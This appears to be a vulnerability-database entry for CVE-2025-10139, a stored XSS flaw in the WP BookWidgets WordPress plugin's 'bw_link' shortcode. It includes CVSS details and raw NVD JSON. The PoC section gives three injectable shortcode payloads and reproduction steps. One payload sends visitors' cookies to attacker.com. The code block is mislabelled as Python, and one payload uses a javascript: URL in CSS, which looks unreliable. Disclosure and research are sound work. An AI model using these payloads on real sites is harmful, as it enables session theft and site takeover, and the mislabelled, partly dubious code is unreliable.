Security Vulnerability Report
中文
CVE-2025-10139 CVSS 6.4 MEDIUM

CVE-2025-10139

Published: 2025-10-15 09:15:38
Last Modified: 2026-04-15 00:35:42

Description

The WP BookWidgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bw_link' shortcode in all versions up to, and including, 0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP BookWidgets <= 0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for WP BookWidgets Plugin (CVE-2025-10139) --> <!-- The bw_link shortcode fails to sanitize user-supplied attributes --> <!-- Authenticated attacker with contributor-level access can inject arbitrary JavaScript --> <!-- PoC 1: Basic cookie stealing via onmouseover event --> [bw_link url='http://example.com' target='" onmouseover="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" data-x="']Click Here[/bw_link] <!-- PoC 2: Direct script execution via attribute injection --> [bw_link url='javascript:alert(document.domain)' target='_self' rel='" onclick="alert(\'XSS\')" foo="']Link[/bw_link] <!-- PoC 3: Payload to demonstrate arbitrary JS execution --> [bw_link url='" style="background-image:url(javascript:alert(\'XSS-CVE-2025-10139\'))" data-x="' target="_blank" rel="noopener"]Hover Me[/bw_link] <!-- Steps to reproduce: 1. Login as a WordPress user with contributor or higher role 2. Create a new post or edit an existing one 3. Insert the malicious bw_link shortcode in the content 4. Publish the post 5. Visit the published page as any user (including admin) 6. The injected JavaScript will execute in the victim's browser context -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10139", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:37.890", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP BookWidgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bw_link' shortcode in all versions up to, and including, 0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-bookwidgets/trunk/wp-bookwidgets.php#L163", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3380322/", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-bookwidgets", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1716743f-8259-40fb-bc9b-53e3dfef8816?source=cve", "source": "[email protected]"}]}}